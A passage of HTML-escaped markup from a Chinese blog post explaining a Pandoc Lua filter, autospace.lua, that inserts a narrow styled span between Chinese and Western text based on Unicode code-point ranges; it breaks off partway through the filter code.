18-1&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;U+4E00-U+9FFF&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的标注是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Common，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.unicode.org&#x2F;versions&#x2F;Unicode14.0.0&#x2F;ch18.pdf&quot;&gt;https:&#x2F;&#x2F;www.unicode.org&#x2F;versions&#x2F;Unicode14.0.0&#x2F;ch18.pdf&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;标点&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;codepoint&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;则比较分散，因为在&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Unicode&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;中汉字部分标点是和其他语言共用的（I’m&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;里撇号和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;m&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;间距过大的万恶之源&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。目前我用的标点范围是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;U+3000-U+303F&lt;span class=&quot;halt&quot;&gt;，&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-5&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-5-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-5-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[5]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-5-content&quot;&gt;CJK
Symbols and
Punctuation，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.unicode.org&#x2F;charts&#x2F;PDF&#x2F;U3000.pdf&quot;&gt;https:&#x2F;&#x2F;www.unicode.org&#x2F;charts&#x2F;PDF&#x2F;U3000.pdf&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;U+FF00-U+FFEF&lt;span id=&#x27;fn-6&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-6-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-6-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[6]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-6-content&quot;&gt;Halfwidth
and Fullwidth
Forms，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.unicode.org&#x2F;charts&#x2F;PDF&#x2F;UFF00.pdf&quot;&gt;https:&#x2F;&#x2F;www.unicode.org&#x2F;charts&#x2F;PDF&#x2F;UFF00.pdf&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;U+2000-U+206F&lt;span class=&quot;halt&quot;&gt;。&lt;&#x2F;span&gt;&lt;span id=&#x27;fn-7&#x27; aria-hidden=&#x27;true&#x27;&gt;&lt;input type=&#x27;checkbox&#x27; hidden id=&#x27;fn-7-toggle&#x27;&#x2F;&gt;&lt;label for=&#x27;fn-7-toggle&#x27; tabindex=&#x27;0&#x27;&gt;&lt;sup&gt;[7]&lt;&#x2F;sup&gt;&lt;&#x2F;label&gt;&lt;span id=&quot;fn-7-content&quot;&gt;包含了引号的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;General
Punctuation，&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.unicode.org&#x2F;charts&#x2F;PDF&#x2F;U2000.pdf&quot;&gt;https:&#x2F;&#x2F;www.unicode.org&#x2F;charts&#x2F;PDF&#x2F;U2000.pdf&lt;&#x2F;a&gt;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;当前后字符一个是汉字，一个既不是汉字也不是标点时，就插入间距。&lt;&#x2F;p&gt;
&lt;p&gt;我对阿拉伯数字与汉字间是否应该有间距感到犹豫。目前它们有间距，是因为我懒得对数字做特殊处理。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;插入什么样的间距&quot;&gt;插入什么样的间距&lt;&#x2F;h3&gt;
&lt;p&gt;如前所述，空格太宽，我是绝不会考虑的。我的结论是在中西文间插入&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;code&gt;&amp;lt;span style=&#x27;margin-left: 0.2ch;&#x27;&amp;gt;&amp;lt;&#x2F;span&amp;gt;&lt;&#x2F;code&gt;。考虑到这个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;span&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;什么内容也没包住，这个方法有滥用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;span&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的嫌疑。但是它达成了我的目的：窄于空格的间距、复制时不会污染文本。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;autospace.lua&quot;&gt;autospace.lua&lt;&#x2F;h3&gt;
&lt;p&gt;网上类似脚本大部分是用正则表达式写的。然而，Lua&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;不支持正则表达式。Panadoc&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;附带一个&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;PEGs&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;库&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;LPeg，但要一个字节一个字节地匹配&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;UTF-8——这太老学校了。最后我还是用&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Lua
5.3&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;新增的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;utf8&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;模块和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;for&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;循环写了，很繁琐，但能用。&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #393A34; background-color: #FFFFFF;&quot;&gt;&lt;code data-lang=&quot;lua&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; util&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; require&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;filters.util&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; SPACER&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; pandoc&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;Span&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;pandoc&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;Str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&amp;#39;&lt;&#x2F;span&gt;&lt;span&gt;), {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;    style&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt; &amp;#39;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B56959;&quot;&gt;margin-left: 0.2ch;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B5695977;&quot;&gt;&amp;#39;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;})&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; identify&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;codepoint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    local function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; inBlock&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;left&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; right&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; left&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; codepoint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; codepoint&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; &amp;lt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; right&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; inBlock&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0x4E00&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0x9FFF&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; { &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;han&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    elseif&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; inBlock&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0x3000&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0x303F&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;or&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; inBlock&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0xFF00&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0xFFEF&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;or&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; inBlock&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0x2000&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt;0x206F&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; { &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;punct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    else&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        return&lt;&#x2F;span&gt;&lt;span&gt; { &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;other&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; true&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;local function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; needSpacing&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;prev&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; curr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; prev&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;han&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; curr&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;other&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; or&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; prev&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;other&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; and&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; curr&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;han&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;-- Insert SPACER between Chinese and Western Text inside a Str&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; Str&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;el&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; list&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; prev&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; in&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; utf8.codes&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;el&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; curr&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; identify&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;c&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        if&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt; needSpacing&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;prev&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;curr&lt;&#x2F;span&gt;&lt;span&gt;) &lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;then&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;            table.insert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;pandoc&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;Str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;el&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;sub&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;start&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;p&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;            table.insert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;SPACER&lt;&#x2F;span&gt;&lt;span&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;            start&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; p&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;        end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;        prev&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; curr&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #998418;&quot;&gt;    table.insert&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;list&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;pandoc&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;Str&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;el&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color: #998418;&quot;&gt;sub&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;start&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;el&lt;&#x2F;span&gt;&lt;span&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt;text&lt;&#x2F;span&gt;&lt;span&gt;)))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; list&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;end&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #A0ADA0;&quot;&gt;-- Insert SPACER between Chinese and Western Text between Inlines&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;function&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59873A;&quot;&gt; Inlines&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;(&lt;&#x2F;span&gt;&lt;span&gt;inlines&lt;&#x2F;span&gt;&lt;span style=&quot;color: #999999;&quot;&gt;)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    local&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; list&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span&gt; {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt;    for&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt; i&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; =&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt;#&lt;&#x2F;span&gt;&lt;span style=&quot;color: #B07D48;&quot;&gt;inlines&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AB5959;&quot;&gt; -&lt;&#x2F;span&gt;&lt;span style=&quot;color: #2F798A;&quot;&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;color: #1E754F;&quot;&gt; do&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
